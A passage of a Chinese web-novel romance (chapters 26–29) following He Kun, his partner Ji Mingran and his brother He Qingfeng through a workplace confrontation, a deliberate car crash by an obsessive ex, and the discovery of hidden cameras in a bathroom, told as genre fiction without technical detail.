蒋山霎时头晕目眩,一个比他还年轻的人,甚至不知道是哪里冒出来的毛头小子,竟然还敢当着众人劈头盖脸地数落他,现在还敢擅自离开? 他入行的时候,恐怕这贱人还在哪个犄角旮旯鬼混,叫声贺先生,真是抬举他了。 蒋山眼睛气得充血,将手往贺琨肩膀扣去,声音都锐利到撕破。 “你站住!!你敢走!”蒋山扑空,脸色更是白了又红,红了又白。 贺琨敏捷地侧身躲开,深吐一口气,无奈至极,低头看了看时间。 “蒋先生,人贵在有自知之明。” 蒋山听了此话更是气得不得了,他丢掉手中的测绘仪器,冲上来就要打贺琨。 大家还未看清贺琨如何出手,此人已经倒地不起。 贺琨面色不虞,朝大家口中的赵师道:“赵贤,还不快过来拉回去,你的人。” 蒋山爆发得太突然了,赵贤反应过来连忙上前,口中直道:“哦,哦,小贺先生,实在不好意思,我用人不妥。” 赵贤年纪比贺琨大上许多,但按师门辈分和能力来说,还得称贺琨小师叔。 如今讲究得不多了,该有的礼节却不能少。 “请给我一天时间,我保证明天您便不会见到此人。” 被压住的蒋山分析着从两人的对话,不知为何赵贤的态度如此恭敬,他隐约有不好的预感,但他不敢深想。 直到最后听见赵贤的保证,嚣张的气焰随着头脑清醒而瞬间消弭,变得如同一只落水狗,他瞳孔微缩,立马看向赵师,声线抖得不行。 “不是的,不是的!赵哥,我是站在您这边的,你不能这样对我啊,我是,我都是帮您啊!!” 赵贤听得头皮都在发麻,连忙推开已经陷入疯魔的男人:“你在胡说八道什么?我有什么需要你帮忙?” “我过来是为了请教小贺先生构建的问题,你擅自跟上来胡言乱语,我多次阻拦不成,你反口竟是诬陷我?真如小贺先生所言!” 蒋山面庞已然毫无血色,似乎隐约想起赵师确实阻拦了自己两次。 他连忙又看向贺琨,竟是一步跪了下来,这下反倒根本不顾周围视线。 “小贺先生对不起!对不起!我叔叔好不容易给我找关系送进了纪氏的项目,真的很不容易,我能做好的,我已经学了10多年了,就差一个机会,求求您了,让我留下吧,求您了,求您了。” 贺琨眉头紧锁,此人性子极端,狗急跳墙,必遭反噬:“你不适合这份工作,去找孙旗,换个岗吧。” 不知是谁打了小报告,说曹操,曹操到。 孙旗微胖的身影快速走来,脸上挂着和气的笑容,视线先是在贺琨和赵贤两人之间来回。 “嗐,贺先生说的在理,别为了小事伤了大家的和气,您和赵先生都是项目的顶梁柱,好说好说。” 说完,孙旗低头一把掐住蒋山的胳膊将人提起,理了理蒋山的衣领,将设计助理的胸牌取下。 “不怪你,这事也是我没处理好,下去吧,明天按贺先生的意思给你转个岗,只要没被辞退,在哪都是为公司办事嘛,都一样,去吧。” 第26章 第二十六章抱着吃饭孙旗并没有理会…… 孙旗并没有理会蒋山僵硬而讨好的笑容,只是转身回到贺琨身边,众目睽睽之下毕恭毕敬道:“贺先生实在太低调了,师承仟华设计院李永和教授,年仅24便以笔名‘山影’活跃拿下多个业内奖项,这次我方安排不周,还请您见谅。” 孙旗字字清晰,落地有声,一是向贺琨道歉,二是将贺琨的背景以及专业能力点明,以示众人。 效果十分明显,刚才怂恿蒋山的,冒头发言的那几个人脸色变得古怪,红的红,青的青,边往后退边缩着脖子,巴不得完全埋进地里去。 蒋山听着贺琨一连串的来头砸进耳膜,话都说不出来,更是不敢走,贴着裤缝的手抖个不停。 众人投向贺琨的视线变得微妙,夹杂着羡慕和畏惧。 一番闹剧就此结束,夕阳穿过层叠交织的树干,光影斑驳,安和恬静。 孙旗依旧挂着老道的笑容,挑不出什么错处,赵贤则是低眉垂肩地竖在一旁,两个人皆是一副态度好得不得了的模样。 贺琨不语,面上没有明显的情绪。 他和纪明冉同居一事并没有大肆宣扬,但也从未遮遮掩掩,尽管不在首都,该知道的,不该知道的也都有所耳闻,说是人尽皆知也无妨。 孙旗先前恭恭敬敬地将他请来,事情却办得一般,说到底还是纪柏达的派系,包括赵贤。 现在嘛,无非是觉得他站在纪明冉这边罢了。 只是他承诺老师,也答应了纪柏达会做好青芜涯的事,不想违心。 而这个你压我一头,我高你一丈的游戏,上辈子贺琨玩得够够的,这辈子,他没有什么远大追求,只想好好谈恋爱过日子。 所以说,无聊至极,蒋山已经得到处置,贺琨懒得多说一个字。 他拿出手机准备给纪明冉打个电话,应该半个小时后就能到,却没想听见了肃山的声音。 “怎么都围在这里?孙旗。” 肃山的声音很好辨认,基本一个调子,平稳冷漠,极具穿透力。 纪明冉肯定也来了,贺琨眸光一亮,只觉得林间草木味过于浓重沉闷,也变得清香宜人起来。 思及此处,腰间忽地搭上一只温凉的手掌,宽厚有力,正正把在后腰中央。 熟悉的味道袭上鼻息,颈间微痒,纪明冉已经低头在他耳畔轻道:“等你许久,贺二好大的架子。” 言词皆是责怪之意,却被念得无比轻柔。 四周都是人,饶是平日里大大咧咧的贺琨也有些不好意思,虽然非常享受纪明冉的亲昵,他还是狠心拉开距离,一副正经人做派。 “站好,回去再说。” 纪明冉思忖几秒后再次靠近,似乎眼里只倒映着贺琨的身影,漆黑无波:“遵命。” 无人察觉处,林间镜头微闪,两位暧昧无间的互动瞬息被完整框进照片之中。 纪明冉旁若无人,孙旗心中冷汗直落,竟把这尊大佛也给招来了,贺先生处事风格直白,面上不与计较,那必定不会下阴招。 可纪小先生就不同了,“笑面佛”,面上和善罢了。 “纪小先生,那个助理多次对贺先生出言不逊,屡教不改,我们正在讨论如何处置。”孙旗低着头汇报,眼神往蒋山的方向微微瞥去,彻底将这个小卒揪出来背锅。 纪明冉默许下,肃山闻言便利落地朝蒋山走去。 “是吗?”纪明冉目光沉静,扬起温和地笑容,幅度不大。 孙旗盯着地面,缓缓闭上双眼,冷汗冒得更加厉害,不用看都知道纪小先生什么表情。 比起如何赢得纪柏达青睐,现在他更担心如何在纪明冉手中逃过一劫。 “是是是,蒋山必须开除,”孙旗朝着贺琨深深鞠躬,再次道歉,“实在对不起,贺先生。” 纪明冉上前,在孙旗身侧沉冷道:“这是纪氏的项目,不是你孙家的,还是说你觉得纪氏就剩纪柏达一人了?” 声音不大,但足够两人听清。 最后一个字落进孙旗耳中,小腿肌肉不受控制地颤抖起来,浑身冷汗粘腻至极,他觉得如果持枪合法,那今天交代在这里也不奇怪。 贺琨眉头直皱,不知为何竟觉得面前的纪明冉很陌生很危险,甚至阴郁残暴,他摇摇头,似乎想要将这个可笑的想法甩出去。 “约定的时间快到了,我饿了。”贺琨抬手搭上纪明冉的肩头,试图唤回对方的注意力。 纪明冉反应很快,察觉到贺琨情绪低落,便不再搭理他人,自然而然地接过贺琨的背包:“走吧,吃饭。” 贺琨朝临时围划的停车区域走去,纪明冉跟随在半步之后,两道身影在夕阳下交叠重合,互相蚕食。 — 贺琨的心事都写在脸上,他习惯性地拨弄着碗中的食物,反复抬起也没完整吃下一口。 纪明冉再次给贺琨夹菜时,却已经无处可放,只好收回筷子:“怎么了?” “你变了,你不一样了,你是该不一样,但是你以前不这样。” 健康的恋爱,应该就事论事,但是贺琨这句话说了跟没说似的。 对了,他已经单方面认定,他和纪明冉在谈恋爱。 “算了,不说了,说了你也不懂。”贺琨恶狠狠地咀嚼着口中的牛肉,本来就是,他是重生的,除非纪明冉也是重生的,不然讲不清楚。 纪明冉想了想:“蒋山惹你不开心?” “不是。”贺琨倒犯不上为此人不开心。 “孙旗吗?” “不是。”那更不是,一个为利益奔走的两面派罢了。 “肃山已经派人去办理蒋山的辞退手续了。” “嗯,嗯?”贺琨抬头看向纪明冉,连忙吞下嘴里的肉,“不要辞退他,转岗就行了。” “到底怎么了?告诉我,好不好?”纪明冉使用了百试百灵的招数。 带着木质香的啄吻从贺琨锋利的眉骨一点点落到唇边,怀中的青年终于乖了,气焰消散,脸颊红得像苹果。 贺琨默念三遍美色误人,然后捧住纪明冉的脸亲了好大一口,但偶尔误次把是没关系的。 “没事没事,只是据我这几天观察,蒋山这人性格极端,逼急了不好,多一事不如少一事。” 不是纪明冉想听的答案。 他根本不在意什么蒋山什么孙旗,只想知道贺琨为什么觉得他变了,可是怀中人没有再说出第二句话,只是傻呵呵地乐。 纪明冉收起眸中的黯然,缓慢地来回摩挲贺琨的肩头:“……嗯,确实,我们阿琨是大人了……” “我才比你小三岁,我向来都成熟稳重。” 贺琨想面对面地宣告,却没想这看似轻柔的圈抱极难挣脱,坐起的动作反而惊动纪明冉,下一秒就被卡住腰身,不容拒绝地被拉到了纪明冉腿上。 太超过了。 隔着夏天单薄的裤子,他都能感受到纪明冉腿部鼓起的肌理,贺琨不敢乱动,压低声音低骂:“纪明冉,你疯了!” “饭都吃不好,小三岁,我看是才三岁。” 纪明冉拿起勺子要喂,勺子按压在柔软的舌面上,除了吞咽,别无他法。 贺琨喝了半小碗羹肴,小腹微涨,无论粉舌如何推拒抵抗,都没有任何作用,直到一碗羹肴全都被贺琨喝进肚子里,才被纪明冉好心放过。 眼眶都红了,呛的,衬衫胸口处湿哒哒的。 “隔间,没人会进来,这次轮到我了。” 纪明冉前不着村后不着店地说了句话,贺琨满头雾水,半晌后才反应过来,他立马反驳:“你还有脸提?再说上次是你,这次应该是我!” “不对,你轮双数,我轮单数,这次刚好是单数。” “好好好,你这么玩是吧,纪……唔唔……” …… 贺琨闭着眼睛坐在车上累得不行,纪明冉扶着方向盘,见人要倒时,赶紧拉一把。 别问,问就是—— “别碰我!”贺琨坐正身体,用力地撑开眼睛,推开纪明冉好心帮助的绅士手。 车辆缓缓驶入青平市的顶奢酒店,门童领了钥匙便去泊车,纪明冉扶着贺琨进入大厅。 怎么睡到床上的贺琨已经记不清了,他睡得朦朦胧胧,朝身旁的位置摸索,半晌没有熟悉的温度,整个人陡然清醒。 自两人同居以来,过度的幸福总让他觉得不真实。 房间里只余一盏低饱和的暖灯,借着昏黄的灯光,贺琨找寻纪明冉的身影,正当起身时,听见阳台传来熟悉的声音。 “…我有……安排,若…执意……那不合作也罢。”最后几句明显带上愠怒,因而变得清晰。 贺琨披上睡衣朝外走去,夜色浓稠,纪明冉裹着丝绒睡袍依在栏边,指缝间的烟燃着猩红星火,腰腹肌肉结实利落。 两人对视上,纪明冉首先挂断了电话,揉揉眉心:“抱歉,吵醒你了?” “没有,只是口渴了,起来喝水。” “好,我给你去倒,你先休息,我出去一趟,很快就回来。”纪明冉走进房内,从客厅端来一杯温水,直到贺琨示意不需要了,才走到衣柜前换衣。 贺琨没有开口询问,只是目送纪明冉出门,可直到第二天早上也并未等到纪明冉回来,电话也始终拨不通。 贺琨坐卧不安,直到傍晚堪堪联系上肃山,才得知纪明冉没有遇到什么危险,只是首都有急事,连夜去了首都。 肃山最后还说:贺先生,还请先回兰临市,纪先生处理完事情,很快便会回您们同居的公寓。 变故突然,虽然理由正当,却让上头的贺琨清醒了不少。 他和纪明冉之间好像隔着很多谜团,为了保持平静的生活,那些被他刻意忽略的谜团。 三日后,贺琨回到兰临市,在夜色掩饰下进入了一家私人会所。 穿过闹嚷的人群,上至顶层,贺琨看着手机里的讯息,踏进了一个安静私密的房间。 房间内的男人闻声抬眸,端起乘了小半琥珀色酒液的雕纹水晶杯,腕骨微转,隔空朝他遥遥一倾,唇角含笑。 “阿琨,许久未见。” 第27章 第二十七章意外车祸暖黄壁灯泛着朦…… 暖黄壁灯泛着朦胧的光晕,鎏金镜框里的旧画被染得昏黄,冰块与杯壁碰撞的轻响,混合着留声机里播放的慵懒爵士乐缓缓倾泻。 贺琨饮下第三杯Cognac,沉默不语地听着陈深讲述从前。 纪明冉归国之前的经历如同画卷缓缓在贺琨面前铺开,尽管陈深避重就轻,叙述中充满个人色彩,贺琨却只看见一个学着挣扎自保的少年。 陈深叩击桌面,笃定:“……所以,纪明冉此人心思深处、手段阴狠,根本不值得。” 贺琨皱了皱眉,他还记得上一世两人初次见面时,纪明冉将那枚代表着纪家的玉佩丢入海中,是那般淡漠与平静。 纪明冉只是想成为万千众生中平凡的一个。 可那时的贺琨是如何对待那份感情的? 他的心如同被细密的针芒遍扎,泛出满腔苦涩,半晌才道:“够了,谢谢陈先生告知,先告辞。” 贺琨仰头喝下杯中的酒,玻璃与木桌轻磕发出沉闷的响声,陈深看出他要离开,犹豫中亮出了最后的底牌。 “你猜,他为什么突然对你转变态度。”陈深起身,拽住要离开的人。 贺琨反应极快,迅速将抽出手腕,卡住陈深度的后颈猛地下压,骨节抵着陈深椎骨的力道让桌面猛然震晃,酒杯磕在桌沿泼洒出酒液。 “陈深,你喜欢一个人的方式就是对其无限诋毁?” “呵,呵呵,”由于胸腔被压迫,陈深的笑声格外低沉,“喜欢他?贺琨,你真的不记得我是谁吗?” “不记得,也不想知道,‘咨询费’已经打到你的账户,我们两清。” 贺琨单手将手机上主动联系陈深的记录逐一删除,放到陈深眼前示意。 直到被压制住的人不再挣扎,他才卸下力道,再次朝门的方向走去。 “贺琨!你和纪明冉刚在一起就有亲密合照流出,你心里难道不清楚吗?他纪小先生想拦的东西难道拦不住!” 贺琨嗤笑:“说到底你手上没有确切的信息,对不对?你觉得我会信你的一面之词?” 他握住冰凉的门柄往下按压,琥珀色瞳孔泛着冷锐的戾气。 似乎是被说中想法了,陈深强撑出来的气势瘪了下去,换上了苦笑,态度也变得柔和哀婉。 “我不喜欢纪明冉,陈深也不是我的名字,我叫陈琛,你说过的,你说我的名字好听,琛是珍宝的意思,你怎么能把我忘了啊……” 陈深自顾自地说起来,“贺琨,你不相信我可以,但最好也不要相信他,今晚我们见面,他查到后必然对我出手,我会找到真相的,你等我。” 贺琨背对着整个房间,至始至终没有半分回应,只留下一道背影消失在逐渐闭合的门隙中。 —— 比纪明冉先来到兰临市的是贺青峰,他与贺琨许久未见,于是在出差路过时,特地停留半天。 贺琨正在恒辉大厦,纪明冉最近不在,他也只是偶尔才来公司一趟,今天正巧回来拿份资料。 贺琨两手翻找测绘材料,靠肩膀借力夹住手机:“哥,你到了?” “嗯,在接待大厅等你,不急。” “嗯嗯嗯,好,我马上处理好就下来。” 受亡故之友所托,贺父将12岁的哥哥收养后,他哥自此改名为贺青峰。 那时贺琨方才5岁,诺大的贺宅几乎是两个孩子留守,贺青峰就这样把贺琨带大了。 贺琨表面上脾气随性骄奢,但从本质上而言,他为人处世的方法方式,既不同于贺父,也不像贺母,而是与贺青峰更相似。 兄弟两人的关系极好,可以说,贺琨把最好的脾气都留给纪明冉和贺青峰。 “叮咚——” 电梯到达贺琨所处的楼层,门刚打开,他便看见了汪荣。 四目相对,汪荣先移开了视线,原本挂着友好微笑的脸瞬间冷得不行,对比之前纪明冉在时,汪荣直接是换了副嘴脸。 贺琨挑眉,径直踏入电梯,向来都是别人主动讨好回避,谁不爽谁滚,他可不会让着。 “贺先生,您一定很有经验吧?” 电梯里非常安静,只有机器运作的声音,汪荣打破沉默,语调听起来足够阴阳怪气。 贺琨滑动着手机屏幕的拇指微微停顿半秒,压根不打算搭理在阴暗角落里独自发癫的人。 电梯很快下到一楼,他收起手机往外走。 “纪总不在,贺先生可是一秒都不闲着。” 汪荣早就看见八卦群聊里的照片,在接待大厅等着贺琨的是一个端方稳重的男士。 长相十分出色,穿着佩饰看起来简约得体,没有任何显眼的品牌标志。 但他觉得一定全部都是顶奢高定。 因为汪荣认识男人腕间的那块手表,是他第一次结算工资打算犒劳自己时,无意在网站刷到的。 仅仅瞥过都惊艳到难以忘记,那价格更是令人望尘莫及。 其他的,定然也不会差。 回到现在,贺琨依旧将他完全视作空气,高高在上的姿态正如火上浇油,汪荣忍无可忍,冲动道:“呵,多少一晚?” 贺琨脚步停下,侧身偏头斜睨,半张脸因为背光而格外阴沉,原本因下三白而显得厌世孤傲的眼神格外慑人。 他双手慢悠悠插进裤兜里,利落的地屈起膝盖发力,抬脚便将人踹得后退几步。 汪荣不由捂住疼到痉挛的小腹,直到半依到电梯扶手上堪堪稳住。 贺琨皮鞋底紧接着碾上汪荣的胸膛。 他已经很仁慈地收了力道,并不想在纪明冉的管辖范围内闹事。 “王荣,如果你脑子有病,你就去治。” 看着汪荣表情因为疼痛而逐渐扭曲,贺琨方才抽回腿,兜中手指甚至未动分毫,下一秒便转身离开。 汪荣爬出电梯捂住肚子坐着说不出一句话,直到贺琨走远,走向照片里那位非常英俊正派的男士。 此时,他才敢扶着墙慢慢站起来,眼神中染满阴冷的恨意。 王荣!王荣!王荣!他的名字是汪荣!! 他狠狠地盯着那位男士和贺琨,两人的互动看起来亲昵极了。 男士抬手摸了摸贺琨的短短的发芢,笑着说了几乎句话,随后一同朝着车库的方向离开。 这个贱人也是够不要脸,表面上看起来拽的不行,还不是人尽可压。 别以为他没看见贺琨对着那男人笑得有多恶心。 —— 贺琨坐在开着凉气的车内惬意极了,完全把中途的不愉快忘记得一干二净。 “哥,这次去哪里出差?” 贺青峰在表达感情方面较为内敛,不像贺琨这般张口就来:“隔壁市,一个小商会,来看看你。” 意思就是,地点是在隔壁城市,但是出差事项只是个不怎么重要的商会,主要目的是来看望贺琨。 “想我了?”贺琨难得逗弄起他哥。 贺青峰果然不说话了,过了一会才道:“听冯平说,你之前追求纪小先生?” 贺琨知道冯平给贺青峰递消息还是前段时间的事情了。 发现的起因还是冯平在收拾某个背后诋毁贺琨的职员,现场被他撞破了。 那段时间,他正在追求纪明冉,来公司办公已是勉强,实在不好在惹事。 公司里流传的风言风语贺琨听说过,不过于他而言,实在只是次要中的次要。 他一查问,冯平便迅速交代完整,包括他给贺青峰递消息的全部,还非常自觉地准备好接受惩治。 贺琨看着坦诚至此的冯平,愣是无奈到无话可说,暂时将他打发回首都的集团了。 正是因此,前段时间他在恒辉的种种冷遇,他哥肯定大部分都知道。 “反正,都过去了,我们现在已经同居了。” 贺青峰通过后视镜里看了眼贺琨:“是吗?怎么遇上他的事,你就像把脑子忘在家里了。” 贺琨不敢说话,安静地坐着挨骂。 贺青峰见状内心轻叹,想起自己那堆烂摊子也还没解决,就是上了感情用事的当。 “纪明冉此人,”贺青峰话音停顿,似乎再措辞,“性格深沉、手段果决,就算是做恋人也不大合适。” 整个世界似乎都在告诉贺琨,他和纪明冉不合适,包括不久之前,纪明冉本人也是这么说的。 贺琨其实很清楚,两人同居整件事都透露着古怪,倒不是有什么发现,只是因为过于顺利。 但那个人是纪明冉啊。 纪明冉,三个字,烙印在他心里,发音时牙关先合后开,尾音上扬,就这样,千千万万遍。 所以,不仅如此,贺琨还要签订书面协议,他有的不多,悉数奉上又如何。 “哥,我这辈子就认他,他什么样,我都喜欢。” 看外在条件,纪明冉样貌好、门第好、能力出色,在婚嫁适龄人的眼中天然带着光环。 但贺青峰没想到贺琨对纪明冉如此痴情,握着方向盘的手指陡然泛白。 “你还年轻,过两年再说。” 就在兄弟两人僵持沉默时,一辆白色的车从侧后方袭来,贺青峰余光瞥见金属漆在阳光下泛出的冷光,瞳孔骤缩,眼疾手快,立马朝着无人的车道猛打方向。 引擎轰鸣撕裂空气,轮胎与地面摩擦出焦糊味,车轮在车道上划出半道黑弧,但侧后方还是传来“砰”的巨响。 贺青峰脑内响起尖锐的耳鸣,车内的警报响个不停,他先是紧张地看向身侧,见贺琨无事才松下一*口气,指尖抖着去解安全带的卡扣。 后视镜中,无牌的白车斜着撞进车尾,金属已然凹陷,尾灯玻璃碎成碴子,细细碎碎地掉落在滚烫的柏油路面上。 贺琨还未反应过来,僵在副驾驶位置上,只觉得安全带勒得肩胛骨生疼。 缓缓恢复视觉后,他朝后排被撞击的方向看去,透过后排变形的车窗,他看见了一道黑影。 面容随着距离的拉进而逐渐清晰。 第28章 第二十八章疯狗宋揽贺琨定睛一看,…… 贺琨定睛一看,来人竟是宋揽医生。 他扭头看向驾驶位,他哥显然也看出了,此刻面色愠怒,唇色苍白。 “阿琨,没事吧?”贺青峰解开自己的安全带卡扣,然后抬手将贺琨的安全带也迅速解开。 贺琨点点头,收回拽在车窗上方扶手上的手臂,目前正因过度用力而发麻,他抬起右手揉了揉。 “没问题,哥,你呢?” 贺青峰摇头,车内智能系统已经自动向当地交警报送事故,他手指在屏幕上飞快点击,边追加补充信息,边对贺琨说:“我也没事,快下车,避免二次事故。” 贺琨听话地拉开车门,迅速离开车内。 幸好他和哥吃饭的地址不在市中心,刘助定的餐厅靠近郊区。 现在还未到下班时间,路上的车辆更是不多,偶尔才见一辆。 他们使用的车只是外形受损严重,没有自燃的趋势。 贺琨走远,站在路肩树影下,看向宋揽和他哥两人,并未上前,两人感情的事,不好掺和。 他只是目不转睛地盯着宋揽,避免两人打起来,他哥吃亏。 宋揽指尖漫不经心敲着变形的车辆,脸上带着惯有的戏谑和无辜,单手拉住贺青峰的小臂,甜丝丝道:“都怪你老是躲我,峰哥。” 贺青峰闻言,原本打算耐心劝导,现在是半个字都不想说了。 他闭上眼睛深呼吸,睁眼抬手,一巴掌就甩在宋揽脸上。 成年男子的力量并不弱,何况贺青峰已然动怒,落下的掌心微微泛红,就连指尖都在发颤。 “疯子。” 宋揽根本不生气,慢悠悠地转回头看着贺青峰,左脸颊浮起五道指印,嘴角依旧噙着令人头皮发麻的笑。 他舌尖抵了抵被打得发麻的腮帮,眼里只有痴迷。 看啊,他的峰哥,多么敦和周正的君子,连生气都那么的,诱人。 “峰哥,别这么看我,都石|更了。” 宋揽走上前去,个头竟比贺青峰高出些,他再次拉起贺青峰的手,放进手心,慢慢收紧力道攥至唇边轻蹭:“疼吗?我好想你,这下我们可以坐下来谈谈了吗?” “去拘留所谈吧。” 贺青峰眼神冰冷,甩开宋揽,错开视线看向宋揽的身后。 宋揽不解,眼里透着困惑,还想将贺青峰捞进怀里带走。 但他很快就明白贺青峰在看什么了。 身后陆续走上来几位制服严谨的同志,迅速将按他压住,冰凉的手铐咔嚓一声,利落地扣在丝毫未设防的宋揽手腕上。 “这位先生,您涉嫌故意肇事杀人,请跟我们走一趟。”其中一位站到宋揽身前,按流程将证件出示。 宋揽似乎压根没有注意到周围的执法人员,只是一动不动地盯着贺青峰,笑容逐渐淡去。 两手被反压在背后,手铐蓦然收紧,单纯无辜的脸因为吃痛,而将好看的眉眼皱起。 宋揽依旧看着贺青峰,一言不发,神态复杂深情,或许也有伤心错愕。 他被执法人员押着踉跄后退,没有反抗,步伐晃荡到要跌倒,也仍旧不肯转身,还是盯着贺青峰,要将他的模样刻进骨肉里。 贺青峰没有被这副外表欺骗,上当次数太多,已经麻痹到可以自动忽略。 他低头拿出手帕,认真擦拭着刚才被宋揽亲吻过的手指,满脸嫌弃。 果然,在被押进车内的最后那刻,宋揽瞬间变脸,阴郁暧昧道:“回见,宝贝。” 后续,贺青峰和贺琨两人配合执法人员将该采集交代的信息完善后,天色已然黑沉,户外星光点点。 “哥,商会还去吗?” “嗯,去。”贺青峰重承诺,答应的事情就会落实,除非发生不可抗力的因素。 贺琨理解,于是在路边唯一的便利店随便买了两个面包,递给他哥,下垂的睫毛眨巴眨巴。 “先吃点,哥,等你到隔壁市,让刘助给你安排好吃的。” 贺青峰笑笑,一看便知贺琨正在担心自己情绪不佳,他抬手轻柔地拍了拍贺琨的后脑,微短偏硬的发茬有些扎手。 “去,回家吧,今天是哥大意了,等你回首都,哥带你吃好吃的。” 贺琨自小挑食,贺青峰每逢应酬交际,都会刻意关注吃食的口味,所以记下不少餐厅会所。 “哥,你要小心宋揽,让刘助加派些安保人手。”贺琨看在眼中难免担忧,离别前再次叮嘱他哥。 贺青峰点头答应,两人分别。 等贺琨回到公寓时,屋里黑漆漆的,纪明冉依旧没有回来,空荡宽敞的平层内只有空调冷气充斥。 落地窗外,城市灯火通明,车水马龙,他走到沙发边坐下,将身子缓缓陷进柔软冰凉的沙发,闭上眼睛,全是今天发生的事。 从电梯内无端挑衅的汪荣,到疯癫痴狂的宋揽,车祸现场,玻璃碎片,执法人员和密闭的谈话室,最后是哥离开的背影 一切像电影画面般,快节奏乱序地在他脑内回闪,贺琨在疲惫中慢慢阖上双眼。 —— 纪明冉闭目养神,安静坐在黑色商务车内,窗外是层层叠叠的树影和灌木丛,延伸向林中深处无尽的漆黑。 偏僻的盘山公路曲折,视野极为受限,路灯的基座早已锈蚀成废铁,在荒草垛中被吞噬掩盖,唯有弯月发出微弱的光。 山风卷着浓郁的松针涩味席卷,把密林掀得不得安宁,偶有枝干折断发出异响,仿佛有数双眼睛正从黑暗的树缝间,不知疲倦地盯着。 今夜,极少露面的肃江陪着纪明冉,而肃山则去接宋揽了。 如果说肃山安静,那么肃江可以用寂静形容。 没有什么存在感,长相十分大众,丢在人群中根本找不到,甚至站在面前,只要不留神都会将他忽略。 肃山依旧擦拭着q械,专注至极,直到路边的碎石微微震颤,他敏锐偏头,侧听几秒后,起身绕到驾驶位后方,弯起两指关节,轻敲车窗。 “先生,人来了。” 纪明冉闻声下车,劲风将衬衫吹得紧贴身形,布料绷过肩胛骨的弧度,勾勒出冷硬的轮廓。 没过几分钟,一道明亮的车灯从弯道拐角处出现,将四周照得一清二楚。 “自你离开R国,真是好多年没见了,纪明冉。” 宋揽独特的腔调响起,一双白色运动鞋从打开的车门内落下,“怎么约在这种地方,好黑好可怕啊。” “你犯规了,S,哦,不,应该是大慈大悲的宋揽医生。”纪明冉不满宋揽今日夸张的行事,索性挖苦道。 “换你也会坐不住的,将心比心嘛,纪小爷?”宋揽勾起嘴角,像个涉世未深的纯真青年。 贺琨不可能会离开他,纪明冉笃定地讥讽:“不好意思,只有你才有这样可笑的困扰。” 宋揽弯起眉眼:“是吗?” “还是聊正事吧,宋医生,时间不多了。”纪明冉先终止毫无意义的话题。 …… 两小时后,纪明冉时隔多日终于再次踏进回公寓的电梯。 他按下指纹,智能门锁自动弹开,抬眼就看见了在沙发上睡着的人,呼吸短暂地停留几秒,也没有开灯,只是安静地换上居家拖鞋,走进室内。 贺琨睡得不熟,纪明冉刚搭在他肩头,欲将人抱回房间休息时,贺琨猛然睁开双眼,黑茶色的瞳孔空荡无神,透过纪明然,落到空气中。 身体反应快过意识,他啪地打落纪明冉的手,满脸戒备。 纪明冉像是没有感觉到痛,只是坐到贺琨身侧,将人纳入怀中。 似是想起不悦的事,眼神充满阴霾语调却温柔至极:“我回来了,别怕。” 脆响声将贺琨唤醒,他先是闻见一阵清冽微涩的松针味,才缓缓看清来人:“冉冉?” “嗯?” 纪明冉将一枚仅含安抚的吻落在贺琨的眼尾。 “你离开很久,不接电话,那天晚上还答应很快就回来。” 贺琨语气中带上不自觉地责怪,霸道蛮横地扣弄着纪明冉衬衫上银色的袖扣。 看起来很凶,实则内里很软。 “所以,我给你准备了赔罪‘礼物’。” “什么?” 贺琨坐起来,不是很在意所谓的礼物,反而拉过纪明冉的手背反复查看,认真得有些过度,像是检查自己的所有物。 他眼神中充满苦恼,刚才被拍打的地方已经泛红,落在纪明冉冷白色皮肤上显得触目惊心。 贺琨轻轻地吹,想缓和疼痛带来的灼烧感。 凌晨三点多,两人坐在暗黑的客厅中,平层较大的面积显得公寓格外开阔,甚至有些诡异的空旷。 纪明冉将手收回,眼中只有一抹光点,语调雀跃丝滑:“蒋山消失了,开心吗?” 贺琨从记忆的角落,将这个人领出来,对应上青芜涯那个戴着眼镜、微眯着眼睛的瘦小男人。 纪明冉用词有些怪,可能是夜深了,累的。 贺琨压住心头莫名升腾起来的一丝古怪,没有什么值得开心的。 但如果冉冉觉得开心,那么,只是打发走一个员工,有何不可? “嗯,很开心,冉冉对我真好。” 纪明冉笑笑,久违的道德感在面对贺琨时总是格外具有存在感。 听见怀中人的回答,终于在那双盛满痴爱中眸中,平缓了内心的愧疚。 —— 商会结束已经是两日后,贺青峰登机直飞首都,进入他所居住的别墅区已经是夜晚11时。 洗漱完毕后,他随意披上浴袍推开门,浴室的热流遇到室内冷气,瞬间蒸腾起雾。 桌上的手机恰好震动提示,贺青峰动作停顿,转手将毛巾整齐地放回原位。 额角的发还在滴着水珠,直往睫毛上挂。 贺青峰走到桌前,拿起手机解锁,短信页面蓦然弹出: ——老婆,洗那么久,指尖都泡皱了,是不是在浴室里“想”老公了。 第29章 第二十九章吃醋惩罚贺青峰脸色唰地…… 贺青峰脸色唰地变白,愣在原地甚至忘记呼吸,背后窜上酥酥麻麻的凉意。 如同阴冷的森蚺层层叠叠地将他盘起,缓缓卷入躯体,密不透风地包裹。 房间的柔光温馨明亮,布置舒适。明明是放松休息的私人空间,此刻却变成以供观赏的完美“包装礼盒”。 贺青峰将手机扣压回桌面,单手杵住桌角支撑身体。 几秒后想起什么似的,果决抬头,动作起来,他拎起卧室的金属摆件,快速行至浴室长镜前。 带着恨惧,将手中的金属掷向镜面,整面镜子如同冬日的冰湖崩裂,碎片四散飞溅。 镜中人随之散成无数个,从各个角度倒映着贺青峰独影。 男人薄唇苍白几乎透明,浴袍因为大幅的动作而歪斜,指节因用力泛白。 而本该凶狠的眼神,却在碎玻璃反射的灯光里,晃出了似乎脆弱的细颤,像是从中折断的修竹般,令人叹怜。 贺青峰看着直飞过来的尖锐碎片,沉默着与碎镜中的自己对视,愤怒而茫然。 碎片擦过眼尾,尖锐的刺痛很快涌上心头,温热的液体如同泪水般,顺着脸颊自然滑落。 贺青峰抬手擦拭,指尖沾染得满是血液,红得晃眼,但是他已经无暇处理。 破碎的镜面后,钉着无数的微型摄像头,不同的角度,不同的功能,全部对准自己。 贺青峰不知如何描述,密密麻麻的,似要凝成黑色的漩涡,将他吞噬。 其他地方难道还能幸免? 他空荡的胃突然翻江倒海,阵阵抽搐将五脏六腑将成一片,贺青峰不住干呕,身形微晃,将脚下的镜子碎片踩得的脆响。 贺青峰记得,他和宋榄热恋期的某日,年轻的青年闹着要改造浴室,拓宽洗漱台,装更长的镜面,当时是怎么说的? 回忆中,那天天气很好,两人腻歪着,站在门前告别。 贺青峰要去外地出差,宋榄因为实习原因走不开,于是没有同往常般黏着他同行,而是决定留下将家里改造一下,尤其是浴室。 “好吧,希望我出差回来时,还可以找到一个能刷牙的地方。”贺青峰皱眉佯装苦恼。 